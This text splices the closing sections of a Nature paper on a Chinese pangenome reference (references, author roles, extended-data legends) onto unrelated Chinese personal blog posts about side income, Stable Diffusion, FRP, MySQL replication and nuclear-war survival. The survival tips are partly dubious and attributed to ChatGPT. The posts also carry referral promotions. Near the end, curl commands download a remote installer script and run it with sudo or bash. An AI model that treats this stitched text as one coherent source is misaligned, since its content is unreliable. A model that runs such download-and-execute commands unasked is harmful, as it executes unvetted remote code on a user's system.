PubMed Central Google Scholar  Mikheenko, A., Prjibelski, A., Saveliev, V., Antipov, D. & Gurevich, A. Versatile genome assembly evaluation with QUAST-LG. Bioinformatics 34, i142–i150 (2018).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Chen, Y., Zhang, Y., Wang, A. Y., Gao, M. & Chong, Z. Accurate long-read de novo assembly evaluation with Inspector. Genome Biol. 22, 312 (2021).PDF opens in a new tabArticle PubMed PubMed Central Google Scholar  Li, H. Minimap2: pairwise alignment for nucleotide sequences. Bioinformatics 34, 3094–3100 (2018).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Li, H. Identifying centromeric satellites with dna-brnn. Bioinformatics 35, 4408–4410 (2019).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Shumate, A. & Salzberg, S. L. Liftoff: accurate mapping of gene annotations. Bioinformatics 37, 1639–1643 (2021).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Frankish, A. et al. Gencode 2021. Nucleic Acids Res. 49, D916–D923 (2021).PDF opens in a new tabArticle CAS PubMed Google Scholar  Hickey, G. et al. Pangenome graph construction from genome alignments with Minigraph-Cactus. Nat Biotechnol, https://doi.org/10.1038/s41587-023-01793-w (2023). Li, H., Feng, X. & Chu, C. The design and construction of reference pangenome graphs with minigraph. Genome Biol. 21, 265 (2020).PDF opens in a new tabArticle PubMed PubMed Central Google Scholar  Armstrong, J. et al. Progressive Cactus is a multiple-genome aligner for the thousand-genome era. Nature 587, 246–251 (2020).PDF opens in a new tabArticle ADS CAS PubMed PubMed Central Google Scholar  Hickey, G., Paten, B., Earl, D., Zerbino, D. & Haussler, D. HAL: a hierarchical format for storing and analyzing multiple genome alignments. Bioinformatics 29, 1341–1342 (2013).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Hao, Z. et al. RIdeogram: drawing SVG graphics to visualize and map genome-wide data on the idiograms. PeerJ Comput. Sci. 6, e251 (2020).PDF opens in a new tabArticle PubMed PubMed Central Google Scholar  Wick, R. R., Schultz, M. B., Zobel, J. & Holt, K. E. Bandage: interactive visualization of de novo genome assemblies. Bioinformatics 31, 3350–3352 (2015).PDF opens in a new tabArticle CAS PubMed PubMed Central Google Scholar  Rautiainen, M. & Marschall, T. GraphAligner: rapid and versatile sequence-to-graph alignment. Genome Biol. 21, 253 (2020).PDF opens in a new tabArticle PubMed PubMed Central Google Scholar  Download references Acknowledgements We thank all of the participants of this project. This study was supported by the National Natural Science Foundation of China (grants 32030020, 32288101, 32125009, 32070663, 31900418, 32270665, 62172325, 31961130380, 82170805 and 81970679), the National Key R&D Program of China (2022YFC3400300 and 2018YFC1311500), the Yunnan Leading Medical Scientist Training Program (L-2018003), the Yunnan Key Research and Development Program (202103AF140002), the Strategic Priority Research Program (XDB38000000) of the Chinese Academy of Sciences, the UK Royal Society-Newton Advanced Fellowship (NAF\R1\191094) and the Shanghai Municipal Science and Technology Major Project (2017SHZDZX01). We also acknowledge the support of the SANOFI Scholarship Program. We thank LetPub (www.letpub.com) for its linguistic assistance during the preparation of this manuscript. The funders had no role in the study design, data collection, analysis, decision to publish or preparation of the manuscript. Author information Author notes These authors contributed equally: Yang Gao, Xiaofei Yang, Hao Chen, Xinjiang Tan, Zhaoqing Yang, Lian Deng Authors and Affiliations State Key Laboratory of Genetic Engineering, Human Phenome Institute, Zhangjiang Fudan International Innovation Center, Center for Evolutionary Biology, School of Life Sciences, Fudan University, Shanghai, ChinaYang Gao, Lian Deng, Chang Lei, Yingbing Shi, Ziyi Yang, Li Jin, Shaohua Fan, Xia Shen, Yan Lu & Shuhua Xu Ministry of Education Key Laboratory of Contemporary Anthropology, Collaborative Innovation Center for Genetics and Development, Fudan University, Shanghai, ChinaYang Gao, Baonan Wang, Shuang Kong, Songyang Li, Yuhang Cui, Xiaohan Zhao, Li Jin & Shuhua Xu Key Laboratory of Computational Biology, Shanghai Institute of Nutrition and Health, University of Chinese Academy of Sciences, Chinese Academy of Sciences, Shanghai, ChinaYang Gao, Hao Chen, Xinjiang Tan, Yimin Wang, Yuwen Pan, Sen Ma & Chuangxue Mao School of Life Science and Technology, ShanghaiTech University, Shanghai, ChinaYang Gao & Shuhua Xu School of Computer Science and Technology, Faculty of Electronic and Information Engineering, Xi’an Jiaotong University, Xi’an, ChinaXiaofei Yang MOE Key Lab for Intelligent Networks & Networks Security, Faculty of Electronic and Information Engineering, Xi’an Jiaotong University, Xi’an, ChinaXiaofei Yang & Kai Ye Genome Institute, The First Affiliated Hospital of Xi’an Jiaotong University, Xi’an, ChinaXiaofei Yang Department of Medical Genetics, Institute of Medical Biology, Chinese Academy of Medical Sciences, Kunming, ChinaZhaoqing Yang, Hao Sun & Jiayou Chu State Key Laboratory of Genetic Resources and Evolution, Kunming Institute of Zoology, Chinese Academy of Sciences, Kunming, ChinaDongdong Wu Jiangsu Key Laboratory of Phylogenomics & Comparative Genomics, International Joint Center of Genomics of Jiangsu Province School of Life Sciences, Jiangsu Normal University, Xuzhou, ChinaShaoyuan Wu & Shuhua Xu Institute of Science and Technology for Brain-Inspired Intelligence, Ministry of Education Key (MOE) Laboratory of Computational Neuroscience and Brain-Inspired Intelligence, MOE Frontiers Center for Brain Science Fudan University, Shanghai, ChinaXingming Zhao Department of Endocrinology, The First Affiliated Hospital of Xi’an Jiaotong University, Xi’an, ChinaBinyin Shi State Key Laboratory of Reproductive Medicine, Nanjing Medical University, Nanjing, ChinaZhibin Hu & Juncheng Dai Jiangsu Key Lab of Cancer Biomarkers, Prevention and Treatment, Collaborative Innovation Center for Cancer Personalized Medicine, Center for Global Health, School of Public Health, Nanjing Medical University, Nanjing, ChinaZhibin Hu & Juncheng Dai School of Automation Science and Engineering, Faculty of Electronic and Information Engineering, Xi’an Jiaotong University, Xi’an, ChinaKai Ye School of Life Science and Technology, Xi’an Jiaotong University, Xi’an, ChinaKai Ye Department of Liver Surgery and Transplantation Liver Cancer Institute, Zhongshan Hospital, Fudan University, Shanghai, ChinaQiang Gao & Shuhua Xu Center for Excellence in Animal Evolution and Genetics, Chinese Academy of Sciences, Kunming, ChinaShuhua Xu Institute of Rare Diseases, West China Hospital of Sichuan University, Sichuan University, Chengdu, ChinaFengxiao Bu, Guanglin He, Yang Wu & Huijun Yuan Bioinformatics Center & National Clinical Research Centre for Geriatric Disorders, Xiangya Hospital, Central South University, Changsha, ChinaJinchen Li Center for Medical Genetics & Hunan Key Laboratory of Medical Genetics, School of Life Sciences, and Department of Psychiatry, The Second Xiangya Hospital, Central South University, Changsha, ChinaJinchen Li & Chao Chen School of Life Sciences, Westlake University, Hangzhou, ChinaJian Yang Westlake Laboratory of Life Sciences and Biomedicine, Hangzhou, ChinaJian Yang Department of Bioinformatics and Biostatistics, School of Life Sciences and Biotechnology, Shanghai Jiao Tong University, Shanghai, ChinaChaochun Wei BGI-Research, Shenzhen, ChinaXin Jin Center for Intelligent Medicine Research, Greater Bay Area Institute of Precision Medicine (Guangzhou), Fudan University, Guangzhou, ChinaXia Shen Consortia Chinese Pangenome Consortium (CPC) Chuangxue Mao , Shaohua Fan , Qiang Gao , Juncheng Dai , Fengxiao Bu , Guanglin He , Yang Wu , Huijun Yuan , Jinchen Li , Chao Chen , Jian Yang , Chaochun Wei , Xin Jin  & Xia Shen Contributions S.X., K.Y. and J.C. conceived and designed the study. S.X. and Y.L. coordinated and supervised the project. Y.L., C.M., Zhaoqing Yang, H.S., J.C., L.J., D.W., J.L., J.D., K.Y., X.Y., B.S., C.C., J.Y., S.W., Z.H. and Xingming Zhao were responsible for collection of blood samples and cell lines. Y.L., Y.G., Zhaoqing Yang, K.Y. and S.X. were responsible for sample selection. Y.L., D.W. and J.D. were responsible for sequencing. Y.L. and L.D. were laboratory organizers within the CPC. L.D., Zhaoqing Yang and J.C were responsible for ethical, legal and social implications. Y.L., Y.G., X.Y., H.C. and Y.C. were responsible for pangenome empirical analysis and pangenome quality control. S.X., Y.L., Y.G., X.Y., H.C., X.T., L.D. and B.W. were responsible for manuscript writing. S.X., Y.L., L.D. and K.Y. were responsible for manuscript editing. H.C., Y.G. and X.Y. were responsible for assembly creation. Y.G., H.C., X.Y., S.L. and Ziyi Yang were responsible for assembly quality control and assembly reliability analysis. Y.G., S.M. and Y. Wang were responsible for pangenome applications of SVs. X.T., X.Y. and S.L. were responsible for pangenome graph creation. B.W. and Y.G. were responsible for data coordination and management. Y.G., H.C. and Y. Wang were responsible for pangenome applications. X.T., X.Y. and S.L. were responsible for pangenome visualization and complex loci analysis. H.C., Y.P., Y.G. and Y.L. were responsible for population genetic analysis. B.W. and C.L. were responsible for archaic ancestry analysis. H.C., X.Y. and S.K. were responsible for variant identification from assembly. L.D., Y.L. and B.W. were responsible for variant annotation. Xiaohan Zhao and Y.S. were responsible for CPC website building. Corresponding authors Correspondence to Yan Lu, Jiayou Chu, Kai Ye or Shuhua Xu. Ethics declarations Competing interests The authors declare no competing interests. Peer review Peer review information Nature thanks Chuan-Chao Wang and the other, anonymous, reviewer(s) for their contribution to the peer review of this work. Peer reviewer reports are available. Additional information Publisher’s note Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations. Extended data figures and tables Extended Data Fig. 1 Assembly pipeline and quality control of the CPC samples. a, Flowchart showing the steps and bioinformatic tools applied in quality control, assembly, and correction of 68 CPC samples used for the pan-genome construction. b, Quality control of the primary assemblies of 68 CPC samples, in which 3 samples (denoted by the red dots) with N50 <20 Mb or contig number ≥2000 were removed in subsequent analyses. c, Quality control of the diploid assemblies of 65 CPC samples, in which 14 haplotype assemblies (denoted by the red dots) of 7 samples with N50 <10 Mb or contig number ≥2000 were removed in subsequent analyses. Extended Data Fig. 2 Proportion of variant types in the highly repetitive sequences of 58 CPC samples. The highly repetitive sequences in each assembly were identified using dna-brnn. Proportions of (a) small variants and (b) SVs in these regions are shown for each sample. In each plot, the samples are ordered by the total variant proportion within each language family. Extended Data Fig. 3 Novel sequences with respect to T2T-CHM13 identified in the CPC assemblies. a, Number of novel sequences (insertions ≥1 kb) identified by aligning two-phased assemblies of each CPC sample to the T2T-CHM13 reference. b, Chromosome distribution of 115 insertion hotspots of novel sequences. Extended Data Fig. 4 CSVs in CPC samples. a, The count of CSVs with different shared sample numbers. b, The length distribution of the final 706 CSVs. We merged CSVs of all 58 samples by considering 80% reciprocal overlap and the same type, and obtained 706 CSVs in total. c, The number of CSVs in each CSV class. We classified the CSVs by the shared sample numbers into Shared (present in all samples), Major (present in ≥50% samples but not all), Polymorphic (present in more than 1 but <50% of all samples), and Singleton (present in only one sample). Extended Data Fig. 5 CNV genes with higher frequency in CPC than that in two HPRC subsets. CNV genes observed in both CPC (frequency ≥5%) and HPRC are compared across the two datasets on the frequency. a, CNV genes showing higher frequency in the CPC assemblies than in the HPRC.EAS. b, CNV genes showing higher frequency in the CPC assemblies than in the HPRC.nEAS from HPRC. Extended Data Fig. 6 Length distribution of SVs in the graph-based pan-genome reference. The average and median length of SVs are indicated by the two red vertical lines, and both are larger than the read length (usually 150 bp) generated by short-read sequencing. The peaks at 300 bp for Alu insertions and 6 kb for LINE-1 are highlighted. Extended Data Fig. 7 Ancestry component inference of the CPC cohort. We randomly selected 10 unrelated high-quality samples from each CPC population, and inferred the genetic ancestry for each sample using ADMIXTURE assuming 2–12 ancestry components (K). Samples used in the pan-genome construction are labeled with short vertical lines. Extended Data Fig. 8 Growth of non-reference sequences in Han Chinese and multiple populations. The cumulative length of non-reference (unaligned to the human reference genome GRCh38) sequences in Han Chinese haplotypes (the red boxes) and that in multi-ethnic haplotypes (the green boxes) are calculated based on the CPC graph genome by pangenome-growth software. We randomly ordered the three Han Chinese samples, and conducted 40 replication analyses with randomly selected samples (three samples for each analysis) from the CPC dataset. The multi-ethnic haplotypes show a relatively larger growth rate of the non-reference sequences than the Han Chinese samples. The lower and upper hinges correspond to the first and third quartiles (the 25th and 75th percentiles). The upper whisker extends from the hinge to the largest value no further than 1.5 * IQR from the hinge (where IQR is the inter-quartile range, or distance between the first and third quartiles). The lower whisker extends from the hinge to the smallest value at most 1.5 * IQR of the hinge. Data beyond the end of the whiskers are called “outlying” points and are plotted individually. Extended Data Fig. 9 Significant enrichment of the CPC-specific SVs identified in the CPC assemblies on the reported GWAS loci. The proportion of the approximately independent CPC-specific loci (adjacent novel SVs with distance <50 kb are merged) located <50 kb around the GWAS variants (downloaded from https://www.ebi.ac.uk/gwas/) was compared with that estimated for a set of randomly sampled common loci (shared with T2T-CHM13) with matched size distribution. The P-values were obtained based on 100 permutations, and enrichments reaching at least marginal significance (BH-adjusted P-value < 0.1) of CPC-specific SVs around (a) the GWAS loci reported in global populations and (b) those reported in East Asians are shown. In particular, significant enrichments (BH-adjusted P-value < 0.05) are indicated with asterisks (*) on the trait identities. Each boxplot represents the median (thick black line), upper and lower quartiles (box), 1.5× interquartile range (whiskers) of the permutation test statistics (grey dots). The observed statistics are indicated with red dots. Extended Data Fig. 10 Sharing ratio of the archaic ancestry estimated for pairwise CPC populations. a, Sharing ratio of the Neanderthal-like introgressed sequences. b, Sharing ratio of the Denisovan-like introgressed sequences. The heatmaps were generated using the R package pheatmap 1.0.12. Warm colors in the heatmap indicate higher levels of ancestry sharing, while cold colors indicate lower levels of ancestry sharing. Populations are clustered using the complete-linkage method, and the branches are colored according to language families. Supplementary information Supplementary Information This file contains the current complete list of members of the CPC and Supplementary Methods, References, Tables 1–26 and Figs. 1–22 (see contents page for details). Reporting Summary Peer Review File Rights and permissions Open Access This article is licensed under a Creative Commons Attribution 4.0 International License, which permits use, sharing, adaptation, distribution and reproduction in any medium or format, as long as you give appropriate credit to the original author(s) and the source, provide a link to the Creative Commons licence, and indicate if changes were made. The images or other third party material in this article are included in the article’s Creative Commons licence, unless indicated otherwise in a credit line to the material. If material is not included in the article’s Creative Commons licence and your intended use is not permitted by statutory regulation or exceeds the permitted use, you will need to obtain permission directly from the copyright holder. To view a copy of this licence, visit http://creativecommons.org/licenses/by/4.0/. Reprints and Permissions About this article Cite this article Gao, Y., Yang, X., Chen, H. et al. A pangenome reference of 36 Chinese populations. Nature (2023). https://doi.org/10.1038/s41586-023-06173-7 Download citation Received23 September 2022 Accepted05 May 2023 Published14 June 2023 DOIhttps://doi.org/10.1038/s41586-023-06173-7 Share this article Anyone you share the following link with will be able to read this content:Get shareable link Provided by the Springer Nature SharedIt content-sharing initiative Subjects Evolutionary genetics Genetic variation Genome assembly algorithms Genome informatics Next-generation sequencing Comments By submitting a comment you agree to abide by our Terms and Community Guidelines. If you find something abusive or that does not comply with our terms or guidelines please flag it as inappropriate. ### 【限级台词】“大清国人”人人都有病,“奴才不知道 自己是奴才” 大清国人人有病! 什么病啊! 愚昧之病? 愚在何处啊! 被奴役者却以为自由着。 从来不知道平等为何物。 不知自爱且不懂爱人。 一句话。 奴才不知道自己是奴才! ### 【stable-diffusion-webui】每天一个小姐姐 这张真是AI画的神作了。 显卡3070生成图片还是太慢了。100批次,1个多小时才生成20张,1张神作,1张还行 ### stable-diffusion-webui生成照片的详细说明 这完全可以在家里合成相机拍出来一样的照片了 ### 【副业】如何用闲置电脑赚钱-网心云 家里的网络是上传60Mb的宽带,买的是网心云赚钱宝,一天有1元多的收益。刚好能把家里的服务器的电费赚回来,闲置电脑部署网心云赚钱。 第一次注册网心云的话,可以点击下面的链接注册,这样你也可以增加收益,我也可以增加收益,新人可得5元红包+50%加成卡+120元设备购买优惠劵:新人优惠劵 到现在差不多已经赚了330多元。不过今年过年前买的赚钱宝一直蓝灯离线,就没收益了。找了客服也没能解决。 先用闲置的电脑,虚拟机安装网心云看看,是不是设备问题,还是被电信宽带给封了。 下面就是怎么在虚拟机安装网心云和怎么添加硬盘,我这的电脑虚拟机用的是Oracle VM VirtualBox 虚拟机。本来是用网心云的Windows App,安装了提示要打开VT-x,VT-d,EPT选项。华硕主板找到了VT-x,VT-d,找不到EPT,就改用了虚拟机。 树莓派CM4也试过,树莓派CM4烧录好系统,找不到IP。看样子应该只能用树莓派4B。 🔻2025年最新网心云收益🔻 也可以直接访问网心云官网,查看官方教程。 1)网心云各种安装教程 2)(VMware)安装教程 下面就是虚拟机部署网心云的教程 一、下载VMware文件 首先下载虚拟机文件 VMware镜像下载: 二、Oracle VM VirtualBox部署网心云 点击左上角的管理。 打开Oracle VM VirtualBox虚拟机,点击全局设定(P) 选择下载的OneThing-X86-Pro-1.1.20.ova 虚拟机电脑导入设置,可以修改名称和其他虚拟机设置,这里CPU核心数最低得5个。 这里就可以开启网心云,这里还要设置激活和添加硬盘才可以正常使用。 可以先登录网心云得web控制台。在局域网内找到x86名称的设备就是网心云的IP。 也可以在虚拟机控制台输入回车,输入1(List all network interface),查看设备IP。 然后在浏览器输入http://IP:8080/#/success/act 输入手机号码和验证码后,下一步就是购买激活码,激活设备。 三、官网买激活码,激活设备 要到手机APP-产品-X86系列,找到X86专业版,点击立即购买,会跳转到浏览器进行购买,价格1元。 购买的地址:https://www.onethingcloud.com/mall/xcode/1 购买了激活码后,到Web后台进行激活。不过好像没用,我是到控制台输入验证码激活的。 先输入回车键-Enter 输入数字5,回车。5是激活设备(Activate device),输入激活码,我是手打1个字符1个字符输入的。 四、添加硬盘 添加硬盘前,先停止网心云服务。 选择创建的虚拟机,点击设置-存储-控制器,点击下图的3 选择Pre-allocate Full Size 设置硬盘大小,我设置的是473GB. 然后等待创建成功,会给出进度条Creating medium... 创建好后,再次点击 设置-存储-控制器,点击图里的3,选择刚创建的硬盘 开启网新云,登录web后台,找到磁盘格式化,格式化后,就能正常运行网心云了,一般要到一个星期后,才有收益。 ### 拓展职业领域:软件测试工程师如何开展副业 有许多网站可以帮助软件测试工程师寻找副业机会,其中一些常见的网站包括: Upwork:一个全球性的自由职业市场,可以为软件测试工程师寻找项目机会 Freelancer:一个与Upwork类似的自由职业市场 Fiverr:一个专门为小型项目提供服务的平台 Guru:一个帮助自由职业者寻找工作机会的网站 PeoplePerHour:一个针对小型项目的自由职业市场 Toptal:一个专门为企业客户提供高级技术人员的平台 LinkedIn ProFinder:LinkedIn的专业顾问平台,可以为软件测试工程师寻找顾问机会 这些网站都可以提供有关副业的信息,但最好在使用之前阅读它们的使用条款和隐私政策。 ### 城市发生核战争怎么办 在城市发生核战争的情况下,最重要的是保护自己和家人免受核辐射的影响。建议采取以下措施: 寻找遮蔽物:尽量寻找有遮蔽性的建筑物或地方,避免暴露在核辐射中。 关闭空气处理系统:如果有空气处理系统,应该关闭它们,以防止外部的辐射物进入室内。 创建遮盖:用厚的布料或其他材料在空气处理系统的外面创建遮盖,以减少辐射的吸收。 穿戴防护服:如果你必须离开遮蔽的地方,请穿戴防护服和口罩,以保护你的身体免受辐射的影响。 喝水和吃食物:保持足够的水和食物摄入,以帮助你的身体抵抗辐射的影响。 最重要的是,请根据当地政府和医疗机构的指导来保护自己和家人。任何时候,请不要想当然地离开遮蔽的地方。 ### 稳定性碘:用于阻止或减少甲状腺对放射性碘 💥 稳定性碘:用于阻止或减少甲状腺对放射性碘的吸收; 💥 螯合促排剂(亚铁氰化铁,用于清除人体中的放射性铯;二乙烯三胺五乙酸三钠钙(Calcium-DTPA)和二乙烯三胺五乙酸三钠锌(Zinc-DTPA),用于处理超铀放射性核素造成的内污染); 💥 在急性辐射综合征(ARS)的情况下用于缓解骨髓损伤的细胞因子; 💥 用于治疗呕吐、腹泻和感染的其他药物。 💔 原来上面的内容是chatgtp给的。 ### Docker更新镜像 docker stop 镜像名称 #停止正在运行的镜像 docker rm 镜像名称 #删除镜像 docker rmi 镜像名称 #删除已下载容器镜像文件 docker pull 镜像 #拉取镜像 docker run ...... #创建容器 ### frp https 到公网 [FRP] type=tcp #custom_domains=公网IP remote_port=公网端口 local_ip=内网IP local_port=443 use_encryption=true use_compression=true 这个折腾好久,折腾死人了。local_port端口加上443就行了,heimdall默认的端口是80,其他的配置不变化。 咸鱼找了一个卖家帮忙解决,啥也不是,一个劲的说东说西,而且是个女的,最后解决不了不干了。 还是找淘宝解决了。 ### 解决加了谷歌广告,部分文章显示的问题 之前用的谷歌自动插入广告,现在改为文章内嵌广告。 部分文章还是存在问题,只要刷新页面就显示正常了。 得研究下怎么完全去掉自动插入广告。 原来是没有完全关闭自动插入广告。 ### WordPress 文章内如果快速添加谷歌广告 不太喜欢谷歌自动加广告,排版混乱,体验差。所有选择了文章内加谷歌广告 左侧广告栏点击概览,选择按广告单元 选择按广告单元-文章内嵌广告 获取代码 把代码复制到文章内 ### FRP内网穿透 1)下载FRP软件 Centos和Ubuntu选择frp_0.34.0_linux_amd64.tar.gz 树莓派系统 得下载frp_0.43.0_linux_arm64.tar.gz 2)把下载的压缩包上传到客户端(内网服务器)和服务端(公网) tar -xvf frp_0.34.0_linux_amd64.tar.gz 3)进入frp文件目录进行配置 编辑 3.1)客户端配置 进入frpc.ini配置文件 vim frpc.ini 配置文件字段说明 server_addr ⇒ 服务端的IP(公网) server_port ⇒ 服务端的端口(公网) type = tcp ⇒ 这个可以不用管,使用tcp local_ip ⇒ 内网服务的IP地址 local_port ⇒ 内网服务的端口 remote_port ⇒ 公网访问的端口编辑 3.2)服务端配置 进入frpc.ini配置文件 vim frpc.ini 可以进行默认设置,但是需要开放端口(阿里云/腾讯云+宝塔(如果有)),否则公网访问不了。 编辑 4)启动 启动命令行 ./frpc -c ./frpc.ini 后台运行命令行 nohup ./frpc -c ./frpc.ini & ### Motrix-最简洁的下载工具 本地下载 特征 ? 简单明了的用户界面 ? 支持BitTorrent和磁铁 ? 支持下载百度网盘 concurrent 最多可同时下载10个任务 ? 单任务最大支持64线程下载 User 模拟用户代理 ? 下载完成的通知 y 准备使用触控栏(仅限Mac) ? 常驻系统托盘,可快速操作 ? 暗模式新增 removing 删除任务时删除相关文件(可选) 18 I18n,目前提供简体中文和英文 ? ... development 开发中的更多功能 ### 宝塔-最好用的Linux管理面板 宝塔Linux面板是提升运维效率的服务器管理软件,支持一键LAMP/LNMP/集群/监控/网站/FTP/数据库/JAVA等100多项服务器管理功能。有20个人的专业团队研发及维护,经过200多个版本的迭代,功能全,少出错且足够安全,已获得全球百万用户认可安装。运维要高效,装宝塔。 可以在下面评论找我要优惠:宝塔服务器面板,一键全能部署及管理,送你10850元礼包,点我领取 ### 战地风云 2042 验证后无反应 💥最近是咋回事,开了加速器打不开了。看了下steam有验证进度条,进度条读完,然后就没然后了。 💥卸载重载也没用! 💥这啥情况? ### 微星主板怎么开启网络唤醒 ✔ 微星主板(H510i Pro WiFi) ✅ 开机按F11,选择进入设置 ✅ 高级→整合周边设备→网卡ROM启动,设置允许 ✅ 高级→电源管理设置-ERP,设置禁止 ✅ 高级-唤醒事件设置-PICE设备唤醒和网络唤醒,设置为允许 ✅ 按F10保存设置 ### 换组失败了 昨天那边组过来面试,感觉是有点歧视软件测试。 跟我一起转过去的不用面试,直接过去了。 这下是直接项目释放了。 这真的是一点都不靠谱,转之前直接说是过去,不用面试,到我这就不行了。 先找到组再说,然后把软件评测师证书拿到 ### WP Permalinks Migration 批量301重定向新链接 这两天把固定连接更改为/%category%/%postname%.html。就是/分类/文章标题.html,这样应该能有利于SEO。同时自己的umami统计也能直接看到标题,之前都是id.html。 旧的固定连接是/%post_id%.html。这样如果不重定向301到新连接的话,文章id.html的url就不能打开了,而之前收录的文章都会报404。 利用WP Permalinks Migration插件就可以解决这个问题。 WP Permalinks Migration设置是在wordpress后台目录设置里面 1、安装WP Permalinks Migration插件和配置 第一步:安装好WP Permalinks Migration插件前,先设置旧的固定链接,更新设置。 第二步:然后安装WP Permalinks Migration插件,更新新的固定链接,这样旧的、新的固定链接都能访问了。 第三步:设置wordrpess伪静态 2、nginx的伪静态代码 如果安装了宝塔,可以直接设置伪静态 location / { try_files $uri $uri/ /index.php?$args; } rewrite /wp-admin$ $scheme://$host$uri/ permanent; 3、WP Permalinks Migration插件下载 wp-permalinks-migration.1.0下载 ### 换组不做测试了. 今天下午那边组的打电话过来,了解了基本情况。然后最后说是开发。 现在就是测试转开发了,下半年自学软件评测师,岂不是白自学了?! 不知道能不能学的过来。 ### 九号MMAX 110P 后挡泥板螺丝又掉了 一边螺丝掉了,一边挡泥板断了。 这个真的烦。 然后找了淘宝店,说防松螺母没用。然后老板发了一张图,一看卧槽,使用方法不对,而是安装在螺母后面,就是2个螺母,防松螺母是放在外面的。左边的空隙只有3mm,也塞不下2个螺母呀。 都已经掉了3个原装螺丝,4个钛螺丝,这个还是在淘宝买螺纹套,攻丝套装。 先试试重新攻丝。这九号质量真的是差的要命,骑着烦死了。 又重新买了个钛螺丝,2个车牌螺丝。而且后挡泥板螺丝型号淘宝还搜不到,真烦。 ### 树莓派5 于9月28日发布 1、树莓派版本 今天中午逛百度贴吧,发现树莓派已经发布了。然后是将于10月底推出树莓派5。 Raspberry Pi 5 4GB版本价格60美元 Raspberry Pi 5 8GB版本价格80美元 加上关税的话差不多要加3~5美元?那就跟现在树莓派4B 8G差不都的价格,可能会多个几元。 大小还是跟Raspberry Pi 4差不多,信用卡大小 2、树莓派5主要配置和功能 2.4GHz四核64位Arm Cortex-A76 CPU VideoCore VII GPU,支持OpenGL ES 3.1、Vulkan 1.2 双4Kp60 HDMI®显示输出 4Kp60 HEVC解码器 双频802.11ac Wi-Fi® 蓝牙5.0/蓝牙低能耗(BLE) 支持SDR104模式的高速microSD卡接口 2×USB 3.0端口,支持同时5Gbps操作 2个USB 2.0端口 千兆以太网,支持PoE+(需要单独的PoE+HAT,即将推出) 2×4通道MIPI摄像机/显示收发器 用于快速外围设备的PCIe 2.0 x1接口 Raspberry Pi标准40引脚GPIO头 实时时钟 电源按钮 3、官方提供了1个主动散热器配件 Raspberry Pi 5设计用于处理典型的客户端工作负载,无需外壳,无需主动冷却。用户如果希望在连续大负载、无节流的情况下使用无套管板,可以选择添加一个5美元的有源冷却器。这通过两个新的安装孔连接到板上,并连接到与机箱风扇相同的四针JST连接器。 径向鼓风机,再次选择低噪音和延长使用寿命,推动空气通过挤压和研磨的铝散热片。对于典型的环境温度和最坏情况下的负载,外壳和主动冷却器都能够将Raspberry Pi 5保持在远低于热节流点的水平。主动式冷却器的冷却性能有些优越,特别适用于超频冷却器。 ### 又换项目组了 今天早上welink发了消息,又换组了,是直接过去,不用面试。 有三人一起过去,2个前端+1个测试。是1个刚创建的项目,什么架构,要学习go语言+测试。 现在已经是第四个组了,第二个,第三个都是1年,1年换一次组的项目基本功能也开发完了。 目前现在这个组,应该再过半年左右,人都要换一遍了。 上个组也是这样,我第一批换组,然后陆陆续续换人。 好像是因为我的工时比较低?因为听到领导说工时也什么符合要求啥的? ### MySQL主从复制停止问题 刚开始配置MySQL主从复制的时候,主数据库已经有大量的数据。 然后从数据库只是创建了数据库,并没有数据表和数据,这个时候主从复制会出现各种各样的问题,比如找不到数据表,有数据表的时候会提示找不到某数据表里的数据。 然后把主数据库的数据导出,再导入从数据库,但是服务或者网站并没有停止运行。 这种情况也会出现各种各样的问题。 解决方法是把服务和web服务停止,然后把主数据库的数据和数据表全部导出,导入到从数据库里,然后再等一段时间(我是睡觉前停止服务,早上再开启),再把服务启动。 MySQL主从复制就不会出现问题,而导致主从复制停止。 ### 十六进制字母代表什么 十六机制字母代表 字母数字A10B11C12D13E14F15十六机制字母 例子 十六进制2AF5转换为二进制。 解析: 5=1*20+0*21+1*22+0*23=1+0+4+0=5=0101 F=15=1*20+1*21+1*22+1*23=1+2+4+8=1111 A=10=0*20+1*21+0*22+1*23=0+2+0+8=1010 2=0*20+1*21+0*22+0*23=0+2+0+0=0010 答案 2AF5= 0010 1010 1111 0101 ### 杭州萧山同盘顶农业-能看萧山全景的驿站 可以在山上喝咖啡,喝茶叶的驿站。还有WiFi。 在同盘顶山下,环境还不错,就是冬天有点冷,夏天还可以喝着咖啡看萧山区全景。楼梯下面就是厕所。 这个驿站基本上是骑摩托车的驿站,小车也可以。就是没地方停车。 ### 解决MySQL报错:replica failed to initalize applier metadata structrue from the repository 错误信息 2023-10-05T10:46:50.184714Z 8 [ERROR] [MY-013124] [Repl] Replica SQL for channel '': Replica failed to initialize applier metadata structure from the repository, Error_code: MY-013124 解决方法 先执行STOP slave; 然后执行RESET SLAVE ALL; STOP slave; RESET SLAVE ALL; 然后再执行CHANGE MASTER TO MASTER_HOST=........语句 说明 停止slave:STOP slave; 删除所有的slave:RESET SLAVE ALL; ### 杭州萧山湘湖先照寺 逆光拍的,山都是黑漆漆的,啥也看不见。 YI DIGITAL CAMERA YI DIGITAL CAMERA YI DIGITAL CAMERA YI DIGITAL CAMERA YI DIGITAL CAMERA YI DIGITAL CAMERA YI DIGITAL CAMERA ### MySQL主从相关配置 在主MySQL配置文件配置 1、指定复制某个数据库 主数据库配置文件添加binlog-do-db=database1 [mysqld] server-id=1 log-bin=mysql-bin binlog-do-db=database1 2、同步多个数据库 [mysqld] server-id=1 log-bin=mysql-bin binlog-do-db=database1 binlog-do-db=database2 binlog-do-db=database3 3、同步所有数据库 [mysqld] server-id=1 log-bin=mysql-bin 4、不同步指定数据表,其他数据表同步 [mysqld] server-id=1 log-bin=mysql-bin binlog-ignore-db=test ### 安装和卸载1Panel ✅ 卸载1Panel命令行 ✅只要在Linux终端输入1pctl uninstall就能卸载掉1panel。 1pctl uninstall 💥上面的卸载命令行,百度和官网找都找不到。 💥最后是在github 关闭的问题里才找到这个卸载1panel 的命令行 ✅ Linux 各系统安装1panel RedHat / CentOS curl -sSL https://resource.fit2cloud.com/1panel/package/quick_start.sh -o quick_start.sh && sh quick_start.sh Ubuntu curl -sSL https://resource.fit2cloud.com/1panel/package/quick_start.sh -o quick_start.sh && sudo bash quick_start.sh Debian curl -sSL https://resource.fit2cloud.com/1panel/package/quick_start.sh -o quick_start.sh && bash quick_start.sh openEuler / 其他 # 第一步:安装 docker 